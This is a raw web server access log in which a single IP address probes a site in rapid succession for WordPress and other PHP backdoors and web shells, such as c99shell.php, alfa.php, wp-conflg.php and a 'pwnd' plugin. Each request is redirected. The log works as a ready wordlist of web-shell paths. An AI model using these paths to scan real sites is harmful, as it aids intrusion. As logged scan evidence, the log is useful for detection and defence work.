[05/Apr/2026:18:50:17 +0300] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:50:17 +0300] "GET /wp-includes/id3/wp-work.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:17 +0300] "GET /wp-content/plugins/WordPressCore/gecko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.123.188 - - [05/Apr/2026:18:50:17 +0300] "GET /wp-includes/class-wp-taxonomy.editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:17 +0300] "GET /wp-content/plugins/pwnd/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:17 +0300] "GET /wp-includes/js/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:17 +0300] "GET /wp-content/themes/pridmag/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:17 +0300] "GET /wp-admin/network/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.123.188 - - [05/Apr/2026:18:50:17 +0300] "GET /images/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:17 +0300] "GET /wp-includes/interactivity-api/interactivity-api-xml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:17 +0300] "GET /js/mrx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:17 +0300] "GET /wp-includes/colour.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:50:17 +0300] "GET /wp-includes/customize/class-wp-customize-background-position-control-variable.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:17 +0300] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:17 +0300] "GET /wp-content/themes/av.php.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.123.188 - - [05/Apr/2026:18:50:17 +0300] "GET /wp-content/plugins/pwnd-1/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:17 +0300] "GET /wp-includes/js/imgareaselect/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:17 +0300] "GET /upload/bilder/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:17 +0300] "GET /fonts/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:18 +0300] "GET /wp-admin/css/colors/blue/pass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:18 +0300] "GET /wp-includes/l10n/class-wp-translations-interface.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:18 +0300] "GET /js/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.123.188 - - [05/Apr/2026:18:50:18 +0300] "GET /.well-known/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.123.188 - - [05/Apr/2026:18:50:18 +0300] "GET /wp-includes/ID3/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:18 +0300] "GET /wp-includes/js/dist/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:18 +0300] "GET /wp-content/uploads/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.123.188 - - [05/Apr/2026:18:50:18 +0300] "GET /wp-includes/sitemaps/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:50:18 +0300] "GET /wp-includes/assets/wp-includes/assets/script-loader-packages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:18 +0300] "GET /web/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:18 +0300] "GET /wp-includes/SimplePie/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:18 +0300] "GET /wp-admin/css/colors/blue/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:18 +0300] "GET /wp-includes/sitemaps/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:18 +0300] "GET /wp-content/plugins/seoo/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:18 +0300] "GET /wp-includes/SimplePie/Cache/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:18 +0300] "GET /wp-includes/css/dist/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:18 +0300] "GET /wp-content/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:18 +0300] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:50:18 +0300] "GET /wp-includes/js/simi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.123.188 - - [05/Apr/2026:18:50:18 +0300] "GET /wp-admin/images/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:18 +0300] "GET /wp-admin/css/colors/gold.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.123.188 - - [05/Apr/2026:18:50:19 +0300] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.123.188 - - [05/Apr/2026:18:50:19 +0300] "GET /wp-content/mu-plugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.123.188 - - [05/Apr/2026:18:50:19 +0300] "GET /wp-includes/sitemaps/abcd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:19 +0300] "GET /wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:50:19 +0300] "GET /wp-includes/widgets/class-wp-widget-search-interpreter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:19 +0300] "GET /wp-admin/css/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.123.188 - - [05/Apr/2026:18:50:19 +0300] "GET /bitrix/admin/htmleditor2/natural.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:19 +0300] "GET /wp-content/plugins/pwnd/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:19 +0300] "GET /wp-includes/block-template-utils-other.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:19 +0300] "GET /wp-content/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:19 +0300] "GET /css/adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:19 +0300] "GET /wp-includes/sodium_compat/lib/widget-group.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.123.188 - - [05/Apr/2026:18:50:19 +0300] "GET /wp-content/raw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:19 +0300] "GET /wp-includes/js/jcrop/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.123.188 - - [05/Apr/2026:18:50:19 +0300] "GET /wp-admin/includes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:19 +0300] "GET /wp-includes/customize/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:19 +0300] "GET /js/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:19 +0300] "GET /wp-content/uploads/2021/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:19 +0300] "GET /wp-includes/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:19 +0300] "GET /wp-includes/class-wp-scripts-query.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:19 +0300] "GET /wp-admin/js/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:19 +0300] "GET /wp-includes/ID3/module.audio-license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:20 +0300] "GET /uploads/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:20 +0300] "GET /assets/js/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:20 +0300] "GET /wp-includes/class-wp-error-module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:50:20 +0300] "GET /css/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:20 +0300] "GET /wp-includes/css/litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:20 +0300] "GET /images/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:20 +0300] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:20 +0300] "GET /wp-includes/css/dist/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:20 +0300] "GET /wp-includes/block-bindings/imagess.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.123.188 - - [05/Apr/2026:18:50:20 +0300] "GET /wp-includes/default-filters-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:20 +0300] "GET /css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:20 +0300] "GET /autoload_classmap/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:20 +0300] "GET /wp-includes/Requests/Auth/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:20 +0300] "GET /wp-admin/js/widgets/bless2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:20 +0300] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:21 +0300] "GET /wp-admin/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:21 +0300] "GET /wp-includes/Text/Diff/Engine/theme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:21 +0300] "GET /.well-known/acme-challenge/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:21 +0300] "GET /wp-includes/ID3/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:21 +0300] "GET /wp-includes/customize/class-wp-customize-selective-refresh-library.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.123.188 - - [05/Apr/2026:18:50:21 +0300] "GET /wp-admin/js/cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.123.188 - - [05/Apr/2026:18:50:21 +0300] "GET /wp-includes/Requests/library/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:21 +0300] "GET /wp-includes/interactivity-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:21 +0300] "GET /css/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:21 +0300] "GET /wp-content/plugins/classic-editor/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:21 +0300] "GET /wp-includes/wp-2019.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:50:21 +0300] "GET /wp-includes/SimplePie/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:21 +0300] "GET /wp-includes/assets/script-loader-react-refresh-runtime-num.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.123.188 - - [05/Apr/2026:18:50:21 +0300] "GET /wp-includes/assets/script-loader-react-refresh-entry.min-object.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:21 +0300] "GET /wp-includes/aw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.123.188 - - [05/Apr/2026:18:50:21 +0300] "GET /uploads/c99shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:21 +0300] "GET /uploads/lala.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:21 +0300] "GET /wp-includes/IXR/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:22 +0300] "GET /wp-includes/css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:50:22 +0300] "GET /wp-includes/css/dist/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.123.188 - - [05/Apr/2026:18:50:22 +0300] "GET /wp-includes/style-engine/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:22 +0300] "GET /wp-admin/css/adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:22 +0300] "GET /wp-content/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:22 +0300] "GET /wp-includes/template-less.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:22 +0300] "GET /wp-includes/pomo/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:22 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/abcd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:22 +0300] "GET /wp-content/themes/twentytwentytwo/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.123.188 - - [05/Apr/2026:18:50:22 +0300] "GET /wp-admin/css/elementskit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:22 +0300] "GET /js/1.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:22 +0300] "GET /wp-content/themes/twentytwentyfour/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:22 +0300] "GET /wp-includes/assets/min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:22 +0300] "GET /wp-includes/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:50:22 +0300] "GET /backup/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:22 +0300] "GET /wp-content/uploads/uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:22 +0300] "GET /wp-includes/file.php HTTP/1.1" 301 795 "-" 